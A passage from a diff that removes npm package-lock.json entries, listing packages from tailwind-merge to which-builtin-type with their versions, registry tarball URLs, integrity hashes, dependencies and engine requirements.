- "resolved": "https://registry.npmjs.org/tailwind-merge/-/tailwind-merge-2.5.5.tgz",
- "integrity": "sha512-0LXunzzAZzo0tEPxV3I297ffKZPlKDrjj7NXphC8V5ak9yHC5zRmxnOe2m/Rd/7ivsOMJe3JZ2JVocoDdQTRBA==",
- "funding": {
- "type": "github",
- "url": "https://github.com/sponsors/dcastil"
- }
- },
- "node_modules/tailwindcss": {
- "version": "3.4.16",
- "resolved": "https://registry.npmjs.org/tailwindcss/-/tailwindcss-3.4.16.tgz",
- "integrity": "sha512-TI4Cyx7gDiZ6r44ewaJmt0o6BrMCT5aK5e0rmJ/G9Xq3w7CX/5VXl/zIPEJZFUK5VEqwByyhqNPycPlvcK4ZNw==",
- "dependencies": {
- "@alloc/quick-lru": "^5.2.0",
- "arg": "^5.0.2",
- "chokidar": "^3.6.0",
- "didyoumean": "^1.2.2",
- "dlv": "^1.1.3",
- "fast-glob": "^3.3.2",
- "glob-parent": "^6.0.2",
- "is-glob": "^4.0.3",
- "jiti": "^1.21.6",
- "lilconfig": "^3.1.3",
- "micromatch": "^4.0.8",
- "normalize-path": "^3.0.0",
- "object-hash": "^3.0.0",
- "picocolors": "^1.1.1",
- "postcss": "^8.4.47",
- "postcss-import": "^15.1.0",
- "postcss-js": "^4.0.1",
- "postcss-load-config": "^4.0.2",
- "postcss-nested": "^6.2.0",
- "postcss-selector-parser": "^6.1.2",
- "resolve": "^1.22.8",
- "sucrase": "^3.35.0"
- },
- "bin": {
- "tailwind": "lib/cli.js",
- "tailwindcss": "lib/cli.js"
- },
- "engines": {
- "node": ">=14.0.0"
- }
- },
- "node_modules/tailwindcss-animate": {
- "version": "1.0.7",
- "resolved": "https://registry.npmjs.org/tailwindcss-animate/-/tailwindcss-animate-1.0.7.tgz",
- "integrity": "sha512-bl6mpH3T7I3UFxuvDEXLxy/VuFxBk5bbzplh7tXI68mwMokNYd1t9qPBHlnyTwfa4JGC4zP516I1hYYtQ/vspA==",
- "dev": true,
- "peerDependencies": {
- "tailwindcss": ">=3.0.0 || insiders"
- }
- },
- "node_modules/tapable": {
- "version": "2.2.1",
- "resolved": "https://registry.npmjs.org/tapable/-/tapable-2.2.1.tgz",
- "integrity": "sha512-GNzQvQTOIP6RyTfE2Qxb8ZVlNmw0n88vp1szwWRimP02mnTsx3Wtn5qRdqY9w2XduFNUgvOwhNnQsjwCp+kqaQ==",
- "engines": {
- "node": ">=6"
- }
- },
- "node_modules/text-table": {
- "version": "0.2.0",
- "resolved": "https://registry.npmjs.org/text-table/-/text-table-0.2.0.tgz",
- "integrity": "sha512-N+8UisAXDGk8PFXP4HAzVR9nbfmVJ3zYLAWiTIoqC5v5isinhr+r5uaO8+7r3BMfuNIufIsA7RdpVgacC2cSpw=="
- },
- "node_modules/thenify": {
- "version": "3.3.1",
- "resolved": "https://registry.npmjs.org/thenify/-/thenify-3.3.1.tgz",
- "integrity": "sha512-RVZSIV5IG10Hk3enotrhvz0T9em6cyHBLkH/YAZuKqd8hRkKhSfCGIcP2KUY0EPxndzANBmNllzWPwak+bheSw==",
- "dependencies": {
- "any-promise": "^1.0.0"
- }
- },
- "node_modules/thenify-all": {
- "version": "1.6.0",
- "resolved": "https://registry.npmjs.org/thenify-all/-/thenify-all-1.6.0.tgz",
- "integrity": "sha512-RNxQH/qI8/t3thXJDwcstUO4zeqo64+Uy/+sNVRBx4Xn2OX+OZ9oP+iJnNFqplFra2ZUVeKCSa2oVWi3T4uVmA==",
- "dependencies": {
- "thenify": ">= 3.1.0 < 4"
- },
- "engines": {
- "node": ">=0.8"
- }
- },
- "node_modules/third-party-capital": {
- "version": "1.0.20",
- "resolved": "https://registry.npmjs.org/third-party-capital/-/third-party-capital-1.0.20.tgz",
- "integrity": "sha512-oB7yIimd8SuGptespDAZnNkzIz+NWaJCu2RMsbs4Wmp9zSDUM8Nhi3s2OOcqYuv3mN4hitXc8DVx+LyUmbUDiA=="
- },
- "node_modules/tiny-invariant": {
- "version": "1.3.3",
- "resolved": "https://registry.npmjs.org/tiny-invariant/-/tiny-invariant-1.3.3.tgz",
- "integrity": "sha512-+FbBPE1o9QAYvviau/qC5SE3caw21q3xkvWKBtja5vgqOWIHHJ3ioaq1VPfn/Szqctz2bU/oYeKd9/z5BL+PVg=="
- },
- "node_modules/to-buffer": {
- "version": "1.2.2",
- "resolved": "https://registry.npmjs.org/to-buffer/-/to-buffer-1.2.2.tgz",
- "integrity": "sha512-db0E3UJjcFhpDhAF4tLo03oli3pwl3dbnzXOUIlRKrp+ldk/VUxzpWYZENsw2SZiuBjHAk7DfB0VU7NKdpb6sw==",
- "license": "MIT",
- "dependencies": {
- "isarray": "^2.0.5",
- "safe-buffer": "^5.2.1",
- "typed-array-buffer": "^1.0.3"
- },
- "engines": {
- "node": ">= 0.4"
- }
- },
- "node_modules/to-regex-range": {
- "version": "5.0.1",
- "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz",
- "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==",
- "dependencies": {
- "is-number": "^7.0.0"
- },
- "engines": {
- "node": ">=8.0"
- }
- },
- "node_modules/toggle-selection": {
- "version": "1.0.6",
- "resolved": "https://registry.npmjs.org/toggle-selection/-/toggle-selection-1.0.6.tgz",
- "integrity": "sha512-BiZS+C1OS8g/q2RRbJmy59xpyghNBqrr6k5L/uKBGRsTfxmu3ffiRnd8mlGPUVayg8pvfi5urfnu8TU7DVOkLQ==",
- "license": "MIT"
- },
- "node_modules/tree-sitter": {
- "version": "0.21.1",
- "resolved": "https://registry.npmjs.org/tree-sitter/-/tree-sitter-0.21.1.tgz",
- "integrity": "sha512-7dxoA6kYvtgWw80265MyqJlkRl4yawIjO7S5MigytjELkX43fV2WsAXzsNfO7sBpPPCF5Gp0+XzHk0DwLCq3xQ==",
- "hasInstallScript": true,
- "license": "MIT",
- "optional": true,
- "dependencies": {
- "node-addon-api": "^8.0.0",
- "node-gyp-build": "^4.8.0"
- }
- },
- "node_modules/tree-sitter-json": {
- "version": "0.24.8",
- "resolved": "https://registry.npmjs.org/tree-sitter-json/-/tree-sitter-json-0.24.8.tgz",
- "integrity": "sha512-Tc9ZZYwHyWZ3Tt1VEw7Pa2scu1YO7/d2BCBbKTx5hXwig3UfdQjsOPkPyLpDJOn/m1UBEWYAtSdGAwCSyagBqQ==",
- "hasInstallScript": true,
- "license": "MIT",
- "optional": true,
- "dependencies": {
- "node-addon-api": "^8.2.2",
- "node-gyp-build": "^4.8.2"
- },
- "peerDependencies": {
- "tree-sitter": "^0.21.1"
- },
- "peerDependenciesMeta": {
- "tree-sitter": {
- "optional": true
- }
- }
- },
- "node_modules/tree-sitter-json/node_modules/node-addon-api": {
- "version": "8.5.0",
- "resolved": "https://registry.npmjs.org/node-addon-api/-/node-addon-api-8.5.0.tgz",
- "integrity": "sha512-/bRZty2mXUIFY/xU5HLvveNHlswNJej+RnxBjOMkidWfwZzgTbPG1E3K5TOxRLOR+5hX7bSofy8yf1hZevMS8A==",
- "license": "MIT",
- "optional": true,
- "engines": {
- "node": "^18 || ^20 || >= 21"
- }
- },
- "node_modules/tree-sitter/node_modules/node-addon-api": {
- "version": "8.5.0",
- "resolved": "https://registry.npmjs.org/node-addon-api/-/node-addon-api-8.5.0.tgz",
- "integrity": "sha512-/bRZty2mXUIFY/xU5HLvveNHlswNJej+RnxBjOMkidWfwZzgTbPG1E3K5TOxRLOR+5hX7bSofy8yf1hZevMS8A==",
- "license": "MIT",
- "optional": true,
- "engines": {
- "node": "^18 || ^20 || >= 21"
- }
- },
- "node_modules/trim-lines": {
- "version": "3.0.1",
- "resolved": "https://registry.npmjs.org/trim-lines/-/trim-lines-3.0.1.tgz",
- "integrity": "sha512-kRj8B+YHZCc9kQYdWfJB2/oUl9rA99qbowYYBtr4ui4mZyAQ2JpvVBd/6U2YloATfqBhBTSMhTpgBHtU0Mf3Rg==",
- "funding": {
- "type": "github",
- "url": "https://github.com/sponsors/wooorm"
- }
- },
- "node_modules/trough": {
- "version": "2.2.0",
- "resolved": "https://registry.npmjs.org/trough/-/trough-2.2.0.tgz",
- "integrity": "sha512-tmMpK00BjZiUyVyvrBK7knerNgmgvcV/KLVyuma/SC+TQN167GrMRciANTz09+k3zW8L8t60jWO1GpfkZdjTaw==",
- "funding": {
- "type": "github",
- "url": "https://github.com/sponsors/wooorm"
- }
- },
- "node_modules/ts-api-utils": {
- "version": "1.4.3",
- "resolved": "https://registry.npmjs.org/ts-api-utils/-/ts-api-utils-1.4.3.tgz",
- "integrity": "sha512-i3eMG77UTMD0hZhgRS562pv83RC6ukSAC2GMNWc+9dieh/+jDM5u5YG+NHX6VNDRHQcHwmsTHctP9LhbC3WxVw==",
- "engines": {
- "node": ">=16"
- },
- "peerDependencies": {
- "typescript": ">=4.2.0"
- }
- },
- "node_modules/ts-interface-checker": {
- "version": "0.1.13",
- "resolved": "https://registry.npmjs.org/ts-interface-checker/-/ts-interface-checker-0.1.13.tgz",
- "integrity": "sha512-Y/arvbn+rrz3JCKl9C4kVNfTfSm2/mEp5FSz5EsZSANGPSlQrpRI5M4PKF+mJnE52jOO90PnPSc3Ur3bTQw0gA=="
- },
- "node_modules/ts-mixer": {
- "version": "6.0.4",
- "resolved": "https://registry.npmjs.org/ts-mixer/-/ts-mixer-6.0.4.tgz",
- "integrity": "sha512-ufKpbmrugz5Aou4wcr5Wc1UUFWOLhq+Fm6qa6P0w0K5Qw2yhaUoiWszhCVuNQyNwrlGiscHOmqYoAox1PtvgjA==",
- "license": "MIT"
- },
- "node_modules/ts-toolbelt": {
- "version": "9.6.0",
- "resolved": "https://registry.npmjs.org/ts-toolbelt/-/ts-toolbelt-9.6.0.tgz",
- "integrity": "sha512-nsZd8ZeNUzukXPlJmTBwUAuABDe/9qtVDelJeT/qW0ow3ZS3BsQJtNkan1802aM9Uf68/Y8ljw86Hu0h5IUW3w==",
- "license": "Apache-2.0"
- },
- "node_modules/tsconfig-paths": {
- "version": "3.15.0",
- "resolved": "https://registry.npmjs.org/tsconfig-paths/-/tsconfig-paths-3.15.0.tgz",
- "integrity": "sha512-2Ac2RgzDe/cn48GvOe3M+o82pEFewD3UPbyoUHHdKasHwJKjds4fLXWf/Ux5kATBKN20oaFGu+jbElp1pos0mg==",
- "dependencies": {
- "@types/json5": "^0.0.29",
- "json5": "^1.0.2",
- "minimist": "^1.2.6",
- "strip-bom": "^3.0.0"
- }
- },
- "node_modules/tslib": {
- "version": "2.8.1",
- "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz",
- "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w=="
- },
- "node_modules/type-check": {
- "version": "0.4.0",
- "resolved": "https://registry.npmjs.org/type-check/-/type-check-0.4.0.tgz",
- "integrity": "sha512-XleUoc9uwGXqjWwXaUTZAmzMcFZ5858QA2vvx1Ur5xIcixXIP+8LnFDgRplU30us6teqdlskFfu+ae4K79Ooew==",
- "dependencies": {
- "prelude-ls": "^1.2.1"
- },
- "engines": {
- "node": ">= 0.8.0"
- }
- },
- "node_modules/type-fest": {
- "version": "0.20.2",
- "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.20.2.tgz",
- "integrity": "sha512-Ne+eE4r0/iWnpAxD852z3A+N0Bt5RN//NjJwRd2VFHEmrywxf5vsZlh4R6lixl6B+wz/8d+maTSAkN1FIkI3LQ==",
- "engines": {
- "node": ">=10"
- },
- "funding": {
- "url": "https://github.com/sponsors/sindresorhus"
- }
- },
- "node_modules/typed-array-buffer": {
- "version": "1.0.3",
- "resolved": "https://registry.npmjs.org/typed-array-buffer/-/typed-array-buffer-1.0.3.tgz",
- "integrity": "sha512-nAYYwfY3qnzX30IkA6AQZjVbtK6duGontcQm1WSG1MD94YLqK0515GNApXkoxKOWMusVssAHWLh9SeaoefYFGw==",
- "license": "MIT",
- "dependencies": {
- "call-bound": "^1.0.3",
- "es-errors": "^1.3.0",
- "is-typed-array": "^1.1.14"
- },
- "engines": {
- "node": ">= 0.4"
- }
- },
- "node_modules/typed-array-byte-length": {
- "version": "1.0.1",
- "resolved": "https://registry.npmjs.org/typed-array-byte-length/-/typed-array-byte-length-1.0.1.tgz",
- "integrity": "sha512-3iMJ9q0ao7WE9tWcaYKIptkNBuOIcZCCT0d4MRvuuH88fEoEH62IuQe0OtraD3ebQEoTRk8XCBoknUNc1Y67pw==",
- "dependencies": {
- "call-bind": "^1.0.7",
- "for-each": "^0.3.3",
- "gopd": "^1.0.1",
- "has-proto": "^1.0.3",
- "is-typed-array": "^1.1.13"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/typed-array-byte-offset": {
- "version": "1.0.3",
- "resolved": "https://registry.npmjs.org/typed-array-byte-offset/-/typed-array-byte-offset-1.0.3.tgz",
- "integrity": "sha512-GsvTyUHTriq6o/bHcTd0vM7OQ9JEdlvluu9YISaA7+KzDzPaIzEeDFNkTfhdE3MYcNhNi0vq/LlegYgIs5yPAw==",
- "dependencies": {
- "available-typed-arrays": "^1.0.7",
- "call-bind": "^1.0.7",
- "for-each": "^0.3.3",
- "gopd": "^1.0.1",
- "has-proto": "^1.0.3",
- "is-typed-array": "^1.1.13",
- "reflect.getprototypeof": "^1.0.6"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/typed-array-length": {
- "version": "1.0.7",
- "resolved": "https://registry.npmjs.org/typed-array-length/-/typed-array-length-1.0.7.tgz",
- "integrity": "sha512-3KS2b+kL7fsuk/eJZ7EQdnEmQoaho/r6KUef7hxvltNA5DR8NAUM+8wJMbJyZ4G9/7i3v5zPBIMN5aybAh2/Jg==",
- "dependencies": {
- "call-bind": "^1.0.7",
- "for-each": "^0.3.3",
- "gopd": "^1.0.1",
- "is-typed-array": "^1.1.13",
- "possible-typed-array-names": "^1.0.0",
- "reflect.getprototypeof": "^1.0.6"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/types-ramda": {
- "version": "0.30.1",
- "resolved": "https://registry.npmjs.org/types-ramda/-/types-ramda-0.30.1.tgz",
- "integrity": "sha512-1HTsf5/QVRmLzcGfldPFvkVsAdi1db1BBKzi7iW3KBUlOICg/nKnFS+jGqDJS3YD8VsWbAh7JiHeBvbsw8RPxA==",
- "license": "MIT",
- "dependencies": {
- "ts-toolbelt": "^9.6.0"
- }
- },
- "node_modules/typescript": {
- "version": "5.7.2",
- "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.7.2.tgz",
- "integrity": "sha512-i5t66RHxDvVN40HfDd1PsEThGNnlMCMT3jMUuoh9/0TaqWevNontacunWyN02LA9/fIbEWlcHZcgTKb9QoaLfg==",
- "bin": {
- "tsc": "bin/tsc",
- "tsserver": "bin/tsserver"
- },
- "engines": {
- "node": ">=14.17"
- }
- },
- "node_modules/unbox-primitive": {
- "version": "1.0.2",
- "resolved": "https://registry.npmjs.org/unbox-primitive/-/unbox-primitive-1.0.2.tgz",
- "integrity": "sha512-61pPlCD9h51VoreyJ0BReideM3MDKMKnh6+V9L08331ipq6Q8OFXZYiqP6n/tbHx4s5I9uRhcye6BrbkizkBDw==",
- "dependencies": {
- "call-bind": "^1.0.2",
- "has-bigints": "^1.0.2",
- "has-symbols": "^1.0.3",
- "which-boxed-primitive": "^1.0.2"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/undici-types": {
- "version": "6.19.8",
- "resolved": "https://registry.npmjs.org/undici-types/-/undici-types-6.19.8.tgz",
- "integrity": "sha512-ve2KP6f/JnbPBFyobGHuerC9g1FYGn/F8n1LWTwNxCEzd6IfqTwUQcNXgEtmmQ6DlRrC1hrSrBnCZPokRrDHjw=="
- },
- "node_modules/unified": {
- "version": "11.0.5",
- "resolved": "https://registry.npmjs.org/unified/-/unified-11.0.5.tgz",
- "integrity": "sha512-xKvGhPWw3k84Qjh8bI3ZeJjqnyadK+GEFtazSfZv/rKeTkTjOJho6mFqh2SM96iIcZokxiOpg78GazTSg8+KHA==",
- "license": "MIT",
- "dependencies": {
- "@types/unist": "^3.0.0",
- "bail": "^2.0.0",
- "devlop": "^1.0.0",
- "extend": "^3.0.0",
- "is-plain-obj": "^4.0.0",
- "trough": "^2.0.0",
- "vfile": "^6.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/unified"
- }
- },
- "node_modules/unist-util-is": {
- "version": "6.0.0",
- "resolved": "https://registry.npmjs.org/unist-util-is/-/unist-util-is-6.0.0.tgz",
- "integrity": "sha512-2qCTHimwdxLfz+YzdGfkqNlH0tLi9xjTnHddPmJwtIG9MGsdbutfTc4P+haPD7l7Cjxf/WZj+we5qfVPvvxfYw==",
- "dependencies": {
- "@types/unist": "^3.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/unified"
- }
- },
- "node_modules/unist-util-position": {
- "version": "5.0.0",
- "resolved": "https://registry.npmjs.org/unist-util-position/-/unist-util-position-5.0.0.tgz",
- "integrity": "sha512-fucsC7HjXvkB5R3kTCO7kUjRdrS0BJt3M/FPxmHMBOm8JQi2BsHAHFsy27E0EolP8rp0NzXsJ+jNPyDWvOJZPA==",
- "dependencies": {
- "@types/unist": "^3.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/unified"
- }
- },
- "node_modules/unist-util-position-from-estree": {
- "version": "2.0.0",
- "resolved": "https://registry.npmjs.org/unist-util-position-from-estree/-/unist-util-position-from-estree-2.0.0.tgz",
- "integrity": "sha512-KaFVRjoqLyF6YXCbVLNad/eS4+OfPQQn2yOd7zF/h5T/CSL2v8NpN6a5TPvtbXthAGw5nG+PuTtq+DdIZr+cRQ==",
- "dependencies": {
- "@types/unist": "^3.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/unified"
- }
- },
- "node_modules/unist-util-stringify-position": {
- "version": "4.0.0",
- "resolved": "https://registry.npmjs.org/unist-util-stringify-position/-/unist-util-stringify-position-4.0.0.tgz",
- "integrity": "sha512-0ASV06AAoKCDkS2+xw5RXJywruurpbC4JZSm7nr7MOt1ojAzvyyaO+UxZf18j8FCF6kmzCZKcAgN/yu2gm2XgQ==",
- "dependencies": {
- "@types/unist": "^3.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/unified"
- }
- },
- "node_modules/unist-util-visit": {
- "version": "5.0.0",
- "resolved": "https://registry.npmjs.org/unist-util-visit/-/unist-util-visit-5.0.0.tgz",
- "integrity": "sha512-MR04uvD+07cwl/yhVuVWAtw+3GOR/knlL55Nd/wAdblk27GCVt3lqpTivy/tkJcZoNPzTwS1Y+KMojlLDhoTzg==",
- "dependencies": {
- "@types/unist": "^3.0.0",
- "unist-util-is": "^6.0.0",
- "unist-util-visit-parents": "^6.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/unified"
- }
- },
- "node_modules/unist-util-visit-parents": {
- "version": "6.0.1",
- "resolved": "https://registry.npmjs.org/unist-util-visit-parents/-/unist-util-visit-parents-6.0.1.tgz",
- "integrity": "sha512-L/PqWzfTP9lzzEa6CKs0k2nARxTdZduw3zyh8d2NVBnsyvHjSX4TWse388YrrQKbvI8w20fGjGlhgT96WwKykw==",
- "dependencies": {
- "@types/unist": "^3.0.0",
- "unist-util-is": "^6.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/unified"
- }
- },
- "node_modules/unraw": {
- "version": "3.0.0",
- "resolved": "https://registry.npmjs.org/unraw/-/unraw-3.0.0.tgz",
- "integrity": "sha512-08/DA66UF65OlpUDIQtbJyrqTR0jTAlJ+jsnkQ4jxR7+K5g5YG1APZKQSMCE1vqqmD+2pv6+IdEjmopFatacvg==",
- "license": "MIT"
- },
- "node_modules/update-browserslist-db": {
- "version": "1.1.1",
- "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.1.1.tgz",
- "integrity": "sha512-R8UzCaa9Az+38REPiJ1tXlImTJXlVfgHZsglwBD/k6nj76ctsH1E3q4doGrukiLQd3sGQYu56r5+lo5r94l29A==",
- "funding": [
- {
- "type": "opencollective",
- "url": "https://opencollective.com/browserslist"
- },
- {
- "type": "tidelift",
- "url": "https://tidelift.com/funding/github/npm/browserslist"
- },
- {
- "type": "github",
- "url": "https://github.com/sponsors/ai"
- }
- ],
- "dependencies": {
- "escalade": "^3.2.0",
- "picocolors": "^1.1.0"
- },
- "bin": {
- "update-browserslist-db": "cli.js"
- },
- "peerDependencies": {
- "browserslist": ">= 4.21.0"
- }
- },
- "node_modules/uri-js": {
- "version": "4.4.1",
- "resolved": "https://registry.npmjs.org/uri-js/-/uri-js-4.4.1.tgz",
- "integrity": "sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==",
- "dependencies": {
- "punycode": "^2.1.0"
- }
- },
- "node_modules/url-parse": {
- "version": "1.5.10",
- "resolved": "https://registry.npmjs.org/url-parse/-/url-parse-1.5.10.tgz",
- "integrity": "sha512-WypcfiRhfeUP9vvF0j6rw0J3hrWrw6iZv3+22h6iRMJ/8z1Tj6XfLP4DsUix5MhMPnXpiHDoKyoZ/bdCkwBCiQ==",
- "license": "MIT",
- "dependencies": {
- "querystringify": "^2.1.1",
- "requires-port": "^1.0.0"
- }
- },
- "node_modules/use-callback-ref": {
- "version": "1.3.2",
- "resolved": "https://registry.npmjs.org/use-callback-ref/-/use-callback-ref-1.3.2.tgz",
- "integrity": "sha512-elOQwe6Q8gqZgDA8mrh44qRTQqpIHDcZ3hXTLjBe1i4ph8XpNJnO+aQf3NaG+lriLopI4HMx9VjQLfPQ6vhnoA==",
- "dependencies": {
- "tslib": "^2.0.0"
- },
- "engines": {
- "node": ">=10"
- },
- "peerDependencies": {
- "@types/react": "^16.8.0 || ^17.0.0 || ^18.0.0",
- "react": "^16.8.0 || ^17.0.0 || ^18.0.0"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- }
- }
- },
- "node_modules/use-sidecar": {
- "version": "1.1.2",
- "resolved": "https://registry.npmjs.org/use-sidecar/-/use-sidecar-1.1.2.tgz",
- "integrity": "sha512-epTbsLuzZ7lPClpz2TyryBfztm7m+28DlEv2ZCQ3MDr5ssiwyOwGH/e5F9CkfWjJ1t4clvI58yF822/GUkjjhw==",
- "dependencies": {
- "detect-node-es": "^1.1.0",
- "tslib": "^2.0.0"
- },
- "engines": {
- "node": ">=10"
- },
- "peerDependencies": {
- "@types/react": "^16.9.0 || ^17.0.0 || ^18.0.0",
- "react": "^16.8.0 || ^17.0.0 || ^18.0.0"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- }
- }
- },
- "node_modules/use-sync-external-store": {
- "version": "1.4.0",
- "resolved": "https://registry.npmjs.org/use-sync-external-store/-/use-sync-external-store-1.4.0.tgz",
- "integrity": "sha512-9WXSPC5fMv61vaupRkCKCxsPxBocVnwakBEkMIHHpkTTg6icbJtg6jzgtLDm4bl3cSHAca52rYWih0k4K3PfHw==",
- "peerDependencies": {
- "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0"
- }
- },
- "node_modules/util-deprecate": {
- "version": "1.0.2",
- "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz",
- "integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw=="
- },
- "node_modules/vaul": {
- "version": "0.9.9",
- "resolved": "https://registry.npmjs.org/vaul/-/vaul-0.9.9.tgz",
- "integrity": "sha512-7afKg48srluhZwIkaU+lgGtFCUsYBSGOl8vcc8N/M3YQlZFlynHD15AE+pwrYdc826o7nrIND4lL9Y6b9WWZZQ==",
- "dependencies": {
- "@radix-ui/react-dialog": "^1.1.1"
- },
- "peerDependencies": {
- "react": "^16.8 || ^17.0 || ^18.0",
- "react-dom": "^16.8 || ^17.0 || ^18.0"
- }
- },
- "node_modules/vfile": {
- "version": "6.0.3",
- "resolved": "https://registry.npmjs.org/vfile/-/vfile-6.0.3.tgz",
- "integrity": "sha512-KzIbH/9tXat2u30jf+smMwFCsno4wHVdNmzFyL+T/L3UGqqk6JKfVqOFOZEpZSHADH1k40ab6NUIXZq422ov3Q==",
- "dependencies": {
- "@types/unist": "^3.0.0",
- "vfile-message": "^4.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/unified"
- }
- },
- "node_modules/vfile-location": {
- "version": "5.0.3",
- "resolved": "https://registry.npmjs.org/vfile-location/-/vfile-location-5.0.3.tgz",
- "integrity": "sha512-5yXvWDEgqeiYiBe1lbxYF7UMAIm/IcopxMHrMQDq3nvKcjPKIhZklUKL+AE7J7uApI4kwe2snsK+eI6UTj9EHg==",
- "dependencies": {
- "@types/unist": "^3.0.0",
- "vfile": "^6.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/unified"
- }
- },
- "node_modules/vfile-message": {
- "version": "4.0.2",
- "resolved": "https://registry.npmjs.org/vfile-message/-/vfile-message-4.0.2.tgz",
- "integrity": "sha512-jRDZ1IMLttGj41KcZvlrYAaI3CfqpLpfpf+Mfig13viT6NKvRzWZ+lXz0Y5D60w6uJIBAOGq9mSHf0gktF0duw==",
- "dependencies": {
- "@types/unist": "^3.0.0",
- "unist-util-stringify-position": "^4.0.0"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/unified"
- }
- },
- "node_modules/victory-vendor": {
- "version": "36.9.2",
- "resolved": "https://registry.npmjs.org/victory-vendor/-/victory-vendor-36.9.2.tgz",
- "integrity": "sha512-PnpQQMuxlwYdocC8fIJqVXvkeViHYzotI+NJrCuav0ZYFoq912ZHBk3mCeuj+5/VpodOjPe1z0Fk2ihgzlXqjQ==",
- "dependencies": {
- "@types/d3-array": "^3.0.3",
- "@types/d3-ease": "^3.0.0",
- "@types/d3-interpolate": "^3.0.1",
- "@types/d3-scale": "^4.0.2",
- "@types/d3-shape": "^3.1.0",
- "@types/d3-time": "^3.0.0",
- "@types/d3-timer": "^3.0.0",
- "d3-array": "^3.1.6",
- "d3-ease": "^3.0.1",
- "d3-interpolate": "^3.0.1",
- "d3-scale": "^4.0.2",
- "d3-shape": "^3.1.0",
- "d3-time": "^3.0.0",
- "d3-timer": "^3.0.1"
- }
- },
- "node_modules/web-namespaces": {
- "version": "2.0.1",
- "resolved": "https://registry.npmjs.org/web-namespaces/-/web-namespaces-2.0.1.tgz",
- "integrity": "sha512-bKr1DkiNa2krS7qxNtdrtHAmzuYGFQLiQ13TsorsdT6ULTkPLKuu5+GsFpDlg6JFjUTwX2DyhMPG2be8uPrqsQ==",
- "funding": {
- "type": "github",
- "url": "https://github.com/sponsors/wooorm"
- }
- },
- "node_modules/web-streams-polyfill": {
- "version": "3.3.3",
- "resolved": "https://registry.npmjs.org/web-streams-polyfill/-/web-streams-polyfill-3.3.3.tgz",
- "integrity": "sha512-d2JWLCivmZYTSIoge9MsgFCZrt571BikcWGYkjC1khllbTeDlGqZ2D8vD8E/lJa8WGWbb7Plm8/XJYV7IJHZZw==",
- "license": "MIT",
- "engines": {
- "node": ">= 8"
- }
- },
- "node_modules/web-tree-sitter": {
- "version": "0.24.5",
- "resolved": "https://registry.npmjs.org/web-tree-sitter/-/web-tree-sitter-0.24.5.tgz",
- "integrity": "sha512-+J/2VSHN8J47gQUAvF8KDadrfz6uFYVjxoxbKWDoXVsH2u7yLdarCnIURnrMA6uSRkgX3SdmqM5BOoQjPdSh5w==",
- "license": "MIT",
- "optional": true
- },
- "node_modules/which": {
- "version": "2.0.2",
- "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz",
- "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==",
- "dependencies": {
- "isexe": "^2.0.0"
- },
- "bin": {
- "node-which": "bin/node-which"
- },
- "engines": {
- "node": ">= 8"
- }
- },
- "node_modules/which-boxed-primitive": {
- "version": "1.1.0",
- "resolved": "https://registry.npmjs.org/which-boxed-primitive/-/which-boxed-primitive-1.1.0.tgz",
- "integrity": "sha512-Ei7Miu/AXe2JJ4iNF5j/UphAgRoma4trE6PtisM09bPygb3egMH3YLW/befsWb1A1AxvNSFidOFTB18XtnIIng==",
- "dependencies": {
- "is-bigint": "^1.1.0",
- "is-boolean-object": "^1.2.0",
- "is-number-object": "^1.1.0",
- "is-string": "^1.1.0",
- "is-symbol": "^1.1.0"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/which-builtin-type": {
- "version": "1.2.1",
- "resolved": "https://registry.npmjs.org/which-builtin-type/-/which-builtin-type-1.2.1.tgz",
- "integrity": "sha512-6iBczoX+kDQ7a3+YJBnh3T+KZRxM/iYNPXicqk66/Qfm1b93iu+yOImkg0zHbj5LNOcNv1TEADiZ0xa34B4q6Q==",
- "dependencies": {
- "call-bound": "^1.0.2",
- "function.prototype.name": "^1.1.6",
